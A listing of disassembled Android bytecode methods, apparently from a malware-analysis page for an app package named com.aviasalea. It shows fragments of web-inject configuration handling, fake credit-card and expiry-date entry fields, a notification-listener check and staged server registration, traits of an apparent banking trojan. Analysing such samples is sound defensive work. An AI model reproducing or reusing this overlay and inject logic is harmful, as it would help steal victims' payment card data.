                                      4invoke-interface {v3}, Lde/greenrobot/event/util/AsyncExecutor$RunnableEx;->run()V
                                      5try_end_5: return-void
                                      6catch_6: move-exception v0
                                      7try_start_7:
                                      8iget-object v3, p0, Lde/greenrobot/event/util/AsyncExecutor$1;->this$0:Lde/greenrobot/event/util/AsyncExecutor;
                                      10invoke-static {v3}, Lde/greenrobot/event/util/AsyncExecutor;->access$200(Lde/greenrobot/event/util/AsyncExecutor;)Ljava/lang/reflect/Constructor;
                                      11move-result-object v3
                                      12const/4 v4, 0x1
                                      13new-array v4, v4, [Ljava/lang/Object;
                                      14const/4 v5, 0x0
                                      15aput-object v0, v4, v5
                                      17invoke-virtual {v3, v4}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                                      18try_end_16: move-result-object v2
                                      19instance-of v3, v2, Lde/greenrobot/event/util/HasExecutionScope;
                                      20if-eqz v3, :cond_27
                                      21move-object v3, v2
                                      22check-cast v3, Lde/greenrobot/event/util/HasExecutionScope;
                                      24iget-object v4, p0, Lde/greenrobot/event/util/AsyncExecutor$1;->this$0:Lde/greenrobot/event/util/AsyncExecutor;
                                      26invoke-static {v4}, Lde/greenrobot/event/util/AsyncExecutor;->access$300(Lde/greenrobot/event/util/AsyncExecutor;)Ljava/lang/Object;
                                      27move-result-object v4
                                      29invoke-interface {v3, v4}, Lde/greenrobot/event/util/HasExecutionScope;->setExecutionScope(Ljava/lang/Object;)V
                                      30cond_27:
                                      31iget-object v3, p0, Lde/greenrobot/event/util/AsyncExecutor$1;->this$0:Lde/greenrobot/event/util/AsyncExecutor;
                                      33invoke-static {v3}, Lde/greenrobot/event/util/AsyncExecutor;->access$400(Lde/greenrobot/event/util/AsyncExecutor;)Lde/greenrobot/event/EventBus;
                                      34move-result-object v3
                                      36invoke-virtual {v3, v2}, Lde/greenrobot/event/EventBus;->post(Ljava/lang/Object;)V
                                      37goto/16 :goto_5
                                      38catch_31: move-exception v1
                                      40sget-object v3, Lde/greenrobot/event/EventBus;->TAG:Ljava/lang/String;
                                      42const-string v4, "Original exception:"
                                      44invoke-static {v3, v4, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
                                      45new-instance v3, Ljava/lang/RuntimeException;
                                      47const-string v4, "Could not create failure event"
                                      49invoke-direct {v3, v4, v1}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/String;Ljava/lang/Throwable;)V
                                      50throw v3
                                      Cross References
                                      APIs
                                      • java.lang.String.valueOf
                                      • java.lang.Integer.parseInt
                                      • android.text.InputFilter$LengthFilter.<init>
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.setFilters
                                      • android.text.InputFilter$LengthFilter.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "source" # Ljava/lang/String;
                                      1.prologue
                                      2const/4 v5, 0x0
                                      3new-instance v3, Lcom/aviasalea/injs/g/val/CVal;
                                      5invoke-direct {v3, p1}, Lcom/aviasalea/injs/g/val/CVal;-><init>(Ljava/lang/String;)V
                                      7invoke-virtual {v3}, Lcom/aviasalea/injs/g/val/CVal;->guessCard()Lcom/aviasalea/injs/g/val/models/Card;
                                      8move-result-object v1
                                      9const/4 v3, 0x1
                                      10new-array v0, v3, [Landroid/text/InputFilter;
                                      11if-eqz v1, :cond_33
                                      13invoke-virtual {v1}, Lcom/aviasalea/injs/g/val/models/Card;->getMaxLength()I
                                      14move-result v3
                                      16invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                                      17move-result-object v3
                                      19invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                      20move-result v2
                                      21new-instance v3, Landroid/text/InputFilter$LengthFilter;
                                      23invoke-direct {p0, v2}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->getSpacedPanLength(I)I
                                      24move-result v4
                                      26invoke-direct {v3, v4}, Landroid/text/InputFilter$LengthFilter;-><init>(I)V
                                      27aput-object v3, v0, v5
                                      29invoke-virtual {p0, v1}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->onSetDrawable(Lcom/aviasalea/injs/g/val/models/Card;)V
                                      30goto_29:
                                      31iget-object v3, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      33invoke-virtual {v3}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      34move-result-object v3
                                      36invoke-virtual {v3, v0}, Landroid/widget/EditText;->setFilters([Landroid/text/InputFilter;)V
                                      37return-object v1
                                      38cond_33: new-instance v3, Landroid/text/InputFilter$LengthFilter;
                                      39const/16 v4, 0x13
                                      41invoke-direct {p0, v4}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->getSpacedPanLength(I)I
                                      42move-result v4
                                      44invoke-direct {v3, v4}, Landroid/text/InputFilter$LengthFilter;-><init>(I)V
                                      45aput-object v3, v0, v5
                                      46const/4 v3, 0x0
                                      48invoke-virtual {p0, v3}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->onSetDrawable(Lcom/aviasalea/injs/g/val/models/Card;)V
                                      49goto/16 :goto_29
                                      Cross References
                                      APIs
                                      • java.util.Map.get
                                      • java.util.ArrayList.<init>
                                      • java.util.List.add
                                      • java.lang.Class.getInterfaces
                                      • java.lang.Class.getSuperclass
                                      • java.util.Map.put
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Signature;
                                      1value = {
                                      2"(",
                                      3"Ljava/lang/Class",
                                      4"<*>;)",
                                      5"Ljava/util/List",
                                      6"<",
                                      7"Ljava/lang/Class",
                                      8"<*>;>;"
                                      9}
                                      10.end annotation
                                      11.prologue
                                      13sget-object v3, Lde/greenrobot/event/EventBus;->eventTypesCache:Ljava/util/Map;
                                      14monitor-enter v3
                                      15try_start_3:
                                      16sget-object v2, Lde/greenrobot/event/EventBus;->eventTypesCache:Ljava/util/Map;
                                      18invoke-interface {v2, p1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                      19move-result-object v1
                                      20check-cast v1, Ljava/util/List;
                                      21if-nez v1, :cond_29
                                      22new-instance v1, Ljava/util/ArrayList;
                                      24invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
                                      25move-object v0, p1
                                      26goto_13: if-eqz v0, :cond_24
                                      28invoke-interface {v1, v0}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                      30invoke-virtual {v0}, Ljava/lang/Class;->getInterfaces()[Ljava/lang/Class;
                                      31move-result-object v2
                                      33invoke-static {v1, v2}, Lde/greenrobot/event/EventBus;->addInterfaces(Ljava/util/List;[Ljava/lang/Class;)V
                                      35invoke-virtual {v0}, Ljava/lang/Class;->getSuperclass()Ljava/lang/Class;
                                      36move-result-object v0
                                      37goto/16 :goto_13
                                      38cond_24:
                                      39sget-object v2, Lde/greenrobot/event/EventBus;->eventTypesCache:Ljava/util/Map;
                                      41invoke-interface {v2, p1, v1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                      42cond_29: monitor-exit v3
                                      43return-object v1
                                      44catchall_2b: move-exception v2
                                      45monitor-exit v3
                                      46try_end_2d: throw v2
                                      APIs
                                      • com.aviasalea.wb.WbActivity.access$000
                                      • com.aviasalea.wb.WbActivity.access$000
                                      • com.aviasalea.Realtalk.setWriteInjJSON
                                      • com.aviasalea.Realtalk.getWriteInjJSON
                                      • com.aviasalea.wb.WbActivity.finishActivity
                                      • java.lang.Exception.toString
                                      Position Instruction Meta Information
                                      0.param p1, "webView" # Landroid/webkit/WebView;
                                      1.param p2, "url" # Ljava/lang/String;
                                      2.prologue
                                      4iget-object v2, p0, Lcom/aviasalea/wb/WbActivity$1;->this$0:Lcom/aviasalea/wb/WbActivity;
                                      6invoke-static {v2}, Lcom/aviasalea/wb/WbActivity;->access$000(Lcom/aviasalea/wb/WbActivity;)Ljava/lang/String;
                                      7move-result-object v2
                                      8if-eqz v2, :cond_25
                                      9try_start_8:
                                      10iget-object v2, p0, Lcom/aviasalea/wb/WbActivity$1;->this$0:Lcom/aviasalea/wb/WbActivity;
                                      12invoke-static {v2}, Lcom/aviasalea/wb/WbActivity;->access$000(Lcom/aviasalea/wb/WbActivity;)Ljava/lang/String;
                                      13move-result-object v2
                                      15invoke-static {v2}, Lcom/aviasalea/wb/WITools;->changeWEBInjJSONbyPkg(Ljava/lang/String;)Ljava/lang/String;
                                      16move-result-object v0
                                      17if-eqz v0, :cond_25
                                      19iget-object v2, p0, Lcom/aviasalea/wb/WbActivity$1;->this$0:Lcom/aviasalea/wb/WbActivity;
                                      21invoke-static {v2, v0}, Lcom/aviasalea/Realtalk;->setWriteInjJSON(Landroid/content/Context;Ljava/lang/String;)V
                                      23iget-object v2, p0, Lcom/aviasalea/wb/WbActivity$1;->this$0:Lcom/aviasalea/wb/WbActivity;
                                      25invoke-static {v2}, Lcom/aviasalea/Realtalk;->getWriteInjJSON(Landroid/content/Context;)Ljava/lang/String;
                                      26move-result-object v2
                                      28invoke-static {v2}, Lcom/aviasalea/wb/WITools;->parseWEBInjJson(Ljava/lang/String;)Ljava/util/List;
                                      29move-result-object v2
                                      30sput-object v2, Lcom/aviasalea/Realtalk;->injWI:Ljava/util/List;
                                      31try_end_25:
                                      32iget-object v2, p0, Lcom/aviasalea/wb/WbActivity$1;->this$0:Lcom/aviasalea/wb/WbActivity;
                                      34invoke-virtual {v2}, Lcom/aviasalea/wb/WbActivity;->finishActivity()V
                                      35return-void
                                      36catch_2b: move-exception v1
                                      38invoke-virtual {v1}, Ljava/lang/Exception;->toString()Ljava/lang/String;
                                      39move-result-object v2
                                      41invoke-static {v2}, Lcom/aviasalea/checktls/Print;->e(Ljava/lang/String;)V
                                      42goto/16 :goto_25
                                      APIs
                                      • java.lang.String.isEmpty
                                      • com.aviasalea.injs.g.view._CTextInputLayout.hasValidInput
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setError
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setError
                                      Strings
                                      • Enter a valid credit card number
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.param p2, "hasFocus" # Z
                                      2.prologue
                                      3if-nez p2, :cond_24
                                      5iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;
                                      7invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->access$000(Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;)Ljava/lang/String;
                                      8move-result-object v0
                                      10invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
                                      11move-result v0
                                      12if-nez v0, :cond_24
                                      14iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;
                                      16invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->access$100(Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      17move-result-object v0
                                      19invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->hasValidInput()Z
                                      20move-result v0
                                      21if-eqz v0, :cond_25
                                      23iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;
                                      25invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->access$100(Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      26move-result-object v0
                                      27const/4 v1, 0x0
                                      29invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setError(Ljava/lang/String;)V
                                      30goto_24: return-void
                                      31cond_25:
                                      32iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;
                                      34invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->access$100(Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      35move-result-object v0
                                      37const-string v1, "Enter a valid credit card number"
                                      39invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setError(Ljava/lang/String;)V
                                      40goto/16 :goto_24
                                      APIs
                                      • com.aviasalea.injs.g.view._CTextInputLayout.hasValidInput
                                      • java.lang.String.isEmpty
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setError
                                      • com.aviasalea.injs.g.view._CTextInputLayout.setError
                                      Strings
                                      • Enter a valid expiration date
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.param p2, "hasFocus" # Z
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;
                                      6invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->access$000(Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      7move-result-object v0
                                      9invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->hasValidInput()Z
                                      10move-result v0
                                      11if-nez v0, :cond_18
                                      13iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;
                                      15invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->access$100(Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;)Ljava/lang/String;
                                      16move-result-object v0
                                      18invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
                                      19move-result v0
                                      20if-eqz v0, :cond_23
                                      21cond_18:
                                      22iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;
                                      24invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->access$000(Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      25move-result-object v0
                                      26const/4 v1, 0x0
                                      28invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setError(Ljava/lang/String;)V
                                      29goto_22: return-void
                                      30cond_23:
                                      31iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher$1;->this$0:Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;
                                      33invoke-static {v0}, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->access$000(Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;)Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      34move-result-object v0
                                      36const-string v1, "Enter a valid expiration date"
                                      38invoke-virtual {v0, v1}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->setError(Ljava/lang/String;)V
                                      39goto/16 :goto_22
                                      Cross References
                                      APIs
                                      • com.aviasalea.wb.CustomWVClient.removeLastSlash
                                      • com.aviasalea.wb.CustomWVClient.mOnErrorUrl:Ljava/lang/String
                                      • com.aviasalea.wb.CustomWVClient.startsWith
                                      • com.aviasalea.wb.CustomWVClient.onPageFinished
                                      • com.aviasalea.wb.CustomWVClient.mUrl:Ljava/lang/String
                                      • com.aviasalea.wb.CustomWVClient.mPageLoadingTimeoutHandlerTask:Ljava/lang/Runnable
                                      • android.webkit.WebView.removeCallbacks
                                      • com.aviasalea.wb.CustomWVClient.mPageLoadingTimeoutHandlerTask:Ljava/lang/Runnable
                                      • android.webkit.WebView.postDelayed
                                      • java.lang.ref.WeakReference.<init>
                                      Position Instruction Meta Information
                                      0.param p1, "view" # Landroid/webkit/WebView;
                                      1.param p2, "url" # Ljava/lang/String;
                                      2.param p3, "favIcon" # Landroid/graphics/Bitmap;
                                      3.prologue
                                      4const/4 v1, 0x0
                                      6invoke-direct {p0, p2}, Lcom/aviasalea/wb/CustomWVClient;->removeLastSlash(Ljava/lang/String;)Ljava/lang/String;
                                      7move-result-object p2
                                      9iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mOnErrorUrl:Ljava/lang/String;
                                      11invoke-direct {p0, p2, v0}, Lcom/aviasalea/wb/CustomWVClient;->startsWith(Ljava/lang/String;Ljava/lang/String;)Z
                                      12move-result v0
                                      13if-eqz v0, :cond_17
                                      14iput-object p2, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      15const/4 v0, 0x1
                                      16iput-boolean v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingError:Z
                                      17iput-boolean v1, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingFinished:Z
                                      19invoke-virtual {p0, p1, p2}, Lcom/aviasalea/wb/CustomWVClient;->onPageFinished(Landroid/webkit/WebView;Ljava/lang/String;)V
                                      20cond_17:
                                      21iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      22if-nez v0, :cond_34
                                      23iput-object p2, p0, Lcom/aviasalea/wb/CustomWVClient;->mUrl:Ljava/lang/String;
                                      24iput-boolean v1, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingError:Z
                                      25iput-boolean v1, p0, Lcom/aviasalea/wb/CustomWVClient;->mLoadingFinished:Z
                                      27iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mPageLoadingTimeoutHandlerTask:Ljava/lang/Runnable;
                                      29invoke-virtual {p1, v0}, Landroid/webkit/WebView;->removeCallbacks(Ljava/lang/Runnable;)Z
                                      31iget-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mPageLoadingTimeoutHandlerTask:Ljava/lang/Runnable;
                                      32iget-wide v2, p0, Lcom/aviasalea/wb/CustomWVClient;->LOADING_ERROR_TIMEOUT:J
                                      34invoke-virtual {p1, v0, v2, v3}, Landroid/webkit/WebView;->postDelayed(Ljava/lang/Runnable;J)Z
                                      35new-instance v0, Ljava/lang/ref/WeakReference;
                                      37invoke-direct {v0, p1}, Ljava/lang/ref/WeakReference;-><init>(Ljava/lang/Object;)V
                                      38iput-object v0, p0, Lcom/aviasalea/wb/CustomWVClient;->mReference:Ljava/lang/ref/WeakReference;
                                      39cond_34: return-void
                                      Cross References
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.textView:Landroid/widget/TextView
                                      • android.widget.TextView.setText
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.imageView:Landroid/widget/ImageView
                                      • android.widget.ImageView.setImageResource
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.imageView:Landroid/widget/ImageView
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.textView:Landroid/widget/TextView
                                      • android.widget.TextView.setPadding
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.imageView:Landroid/widget/ImageView
                                      • android.widget.ImageView.setVisibility
                                      • com.aviasalea.base.dialog.AlertDialog$AlertDialogCell.textView:Landroid/widget/TextView
                                      • android.widget.TextView.setPadding
                                      Position Instruction Meta Information
                                      0.param p1, "text" # Ljava/lang/CharSequence;
                                      1.param p2, "icon" # I
                                      2.prologue
                                      3const/4 v2, 0x0
                                      5iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      7invoke-virtual {v0, p1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                                      8if-eqz p2, :cond_1e
                                      10iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->imageView:Landroid/widget/ImageView;
                                      12invoke-virtual {v0, p2}, Landroid/widget/ImageView;->setImageResource(I)V
                                      14iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->imageView:Landroid/widget/ImageView;
                                      16invoke-virtual {v0, v2}, Landroid/widget/ImageView;->setVisibility(I)V
                                      18iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      19const/high16 v1, 0x42600000 # 56.0f
                                      21invoke-static {v1}, Lcom/aviasalea/checktls/AndroidUtilities;->dp(F)I
                                      22move-result v1
                                      24invoke-virtual {v0, v1, v2, v2, v2}, Landroid/widget/TextView;->setPadding(IIII)V
                                      25goto_1d: return-void
                                      26cond_1e:
                                      27iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->imageView:Landroid/widget/ImageView;
                                      28const/4 v1, 0x4
                                      30invoke-virtual {v0, v1}, Landroid/widget/ImageView;->setVisibility(I)V
                                      32iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$AlertDialogCell;->textView:Landroid/widget/TextView;
                                      34invoke-virtual {v0, v2, v2, v2, v2}, Landroid/widget/TextView;->setPadding(IIII)V
                                      35goto/16 :goto_1d
                                      Cross References
                                      APIs
                                      • java.lang.NullPointerException.<init>
                                      • java.lang.Object.notifyAll
                                      • java.lang.IllegalStateException.<init>
                                      Strings
                                      • null cannot be enqueued
                                      • Head present, but no tail
                                      Position Instruction Meta Information
                                      0.param p1, "pendingPost" # Lde/greenrobot/event/PendingPost;
                                      1.prologue
                                      2monitor-enter p0
                                      3if-nez p1, :cond_e
                                      4try_start_3: new-instance v0, Ljava/lang/NullPointerException;
                                      6const-string v1, "null cannot be enqueued"
                                      8invoke-direct {v0, v1}, Ljava/lang/NullPointerException;-><init>(Ljava/lang/String;)V
                                      9throw v0
                                      10catchall_b: move-exception v0
                                      11monitor-exit p0
                                      12throw v0
                                      13cond_e:
                                      14iget-object v0, p0, Lde/greenrobot/event/PendingPostQueue;->tail:Lde/greenrobot/event/PendingPost;
                                      15if-eqz v0, :cond_1d
                                      17iget-object v0, p0, Lde/greenrobot/event/PendingPostQueue;->tail:Lde/greenrobot/event/PendingPost;
                                      18iput-object p1, v0, Lde/greenrobot/event/PendingPost;->next:Lde/greenrobot/event/PendingPost;
                                      19iput-object p1, p0, Lde/greenrobot/event/PendingPostQueue;->tail:Lde/greenrobot/event/PendingPost;
                                      20goto_18:
                                      21invoke-virtual {p0}, Ljava/lang/Object;->notifyAll()V
                                      22try_end_1b: monitor-exit p0
                                      23return-void
                                      24cond_1d:
                                      25iget-object v0, p0, Lde/greenrobot/event/PendingPostQueue;->head:Lde/greenrobot/event/PendingPost;
                                      26if-nez v0, :cond_26
                                      27iput-object p1, p0, Lde/greenrobot/event/PendingPostQueue;->tail:Lde/greenrobot/event/PendingPost;
                                      28iput-object p1, p0, Lde/greenrobot/event/PendingPostQueue;->head:Lde/greenrobot/event/PendingPost;
                                      29goto/16 :goto_18
                                      30cond_26: new-instance v0, Ljava/lang/IllegalStateException;
                                      32const-string v1, "Head present, but no tail"
                                      34invoke-direct {v0, v1}, Ljava/lang/IllegalStateException;-><init>(Ljava/lang/String;)V
                                      35throw v0
                                      Cross References
                                      APIs
                                      • android.support.v4.app.NotificationManagerCompat.getEnabledListenerPackages
                                      • java.util.Set.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • com.aviasalea.srs.GPSrs.getPackageName
                                      • java.lang.String.equals
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Throws;
                                      1value = {
                                      2Ljava/lang/Exception;
                                      3}
                                      4.end annotation
                                      5.prologue
                                      6sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                      7const/16 v3, 0x12
                                      8if-ge v2, v3, :cond_8
                                      9const/4 v0, 0x1
                                      10cond_7: return v0
                                      11cond_8: const/4 v0, 0x0
                                      13invoke-static {p0}, Landroid/support/v4/app/NotificationManagerCompat;->getEnabledListenerPackages(Landroid/content/Context;)Ljava/util/Set;
                                      14move-result-object v2
                                      16invoke-interface {v2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                      17move-result-object v2
                                      18goto_11:
                                      19invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                                      20move-result v3
                                      21if-eqz v3, :cond_7
                                      23invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      24move-result-object v1
                                      25check-cast v1, Ljava/lang/String;
                                      27invoke-virtual {p0}, Lcom/aviasalea/srs/GPSrs;->getPackageName()Ljava/lang/String;
                                      28move-result-object v3
                                      30invoke-virtual {v1, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      31move-result v3
                                      32if-eqz v3, :cond_11
                                      33const/4 v0, 0x1
                                      34goto/16 :goto_11
                                      APIs
                                      • android.util.Log.e
                                      • org.json.JSONObject.<init>
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • REALTALK REQUEST
                                      • responseBody is null
                                      Position Instruction Meta Information
                                      0.param p1, "requestType" # I
                                      1.param p2, "statusCode" # I
                                      2.param p3, "response" # Ljava/lang/String;
                                      3.prologue
                                      4try_start_0:
                                      5invoke-static {p3}, Lcom/aviasalea/api/tls/TxtTls;->ckIsEmpty(Ljava/lang/String;)Z
                                      6move-result v2
                                      7if-eqz v2, :cond_e
                                      9const-string v2, "REALTALK REQUEST"
                                      11const-string v3, "responseBody is null"
                                      13invoke-static {v2, v3}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                      14goto_d: return-void
                                      15cond_e: new-instance v1, Lorg/json/JSONObject;
                                      17invoke-direct {v1, p3}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                                      19iget-object v2, p0, Lcom/aviasalea/api/request/HttpRequest$1;->this$0:Lcom/aviasalea/api/request/HttpRequest;
                                      21invoke-virtual {v2, v1}, Lcom/aviasalea/api/request/HttpRequest;->onRequestSuccess(Lorg/json/JSONObject;)V
                                      22try_end_18: goto/16 :goto_d
                                      23catch_19: move-exception v0
                                      24try_start_1a:
                                      25iget-object v2, p0, Lcom/aviasalea/api/request/HttpRequest$1;->this$0:Lcom/aviasalea/api/request/HttpRequest;
                                      26const v3, 0x18708
                                      28invoke-virtual {v2, v3, p3}, Lcom/aviasalea/api/request/HttpRequest;->onRequestFailure(ILjava/lang/String;)V
                                      29try_end_22: goto/16 :goto_d
                                      30catch_23: move-exception v0
                                      32invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      33goto/16 :goto_d
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep5
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep5
                                      • com.aviasalea.srs.CmndSrs.registrationReportStep5
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v4, 0xea60
                                      3const/4 v3, 0x1
                                      4const/4 v2, 0x0
                                      5iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      6if-nez v0, :cond_28
                                      8iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      9if-eqz v0, :cond_20
                                      11iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      13const-string v1, "accepted"
                                      15invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      16move-result v0
                                      17if-nez v0, :cond_1d
                                      18iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart5:Z
                                      20invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep5(J)V
                                      21goto_1c: return-void
                                      22cond_1d: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart5:Z
                                      23goto/16 :goto_1c
                                      24cond_20: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart5:Z
                                      25iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart5:Z
                                      27invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep5(J)V
                                      28goto/16 :goto_1c
                                      29cond_28: iput-boolean v2, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart5:Z
                                      30iput-boolean v3, p0, Lcom/aviasalea/srs/CmndSrs;->registrationPart5:Z
                                      32invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->registrationReportStep5(J)V
                                      33goto/16 :goto_1c
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • java.util.concurrent.ConcurrentHashMap.<init>
                                      • java.util.List.iterator
                                      • java.util.Iterator.hasNext
                                      • java.util.Iterator.next
                                      • java.util.Map.put
                                      Position Instruction Meta Information
                                      0.annotation system Ldalvik/annotation/Signature;
                                      1value = {
                                      2"(",
                                      3"Ljava/util/List",
                                      4"<",
                                      5"Ljava/lang/Class",
                                      6"<*>;>;)V"
                                      7}
                                      8.end annotation
                                      9.prologue
                                      11invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      12new-instance v2, Ljava/util/concurrent/ConcurrentHashMap;
                                      14invoke-direct {v2}, Ljava/util/concurrent/ConcurrentHashMap;-><init>()V
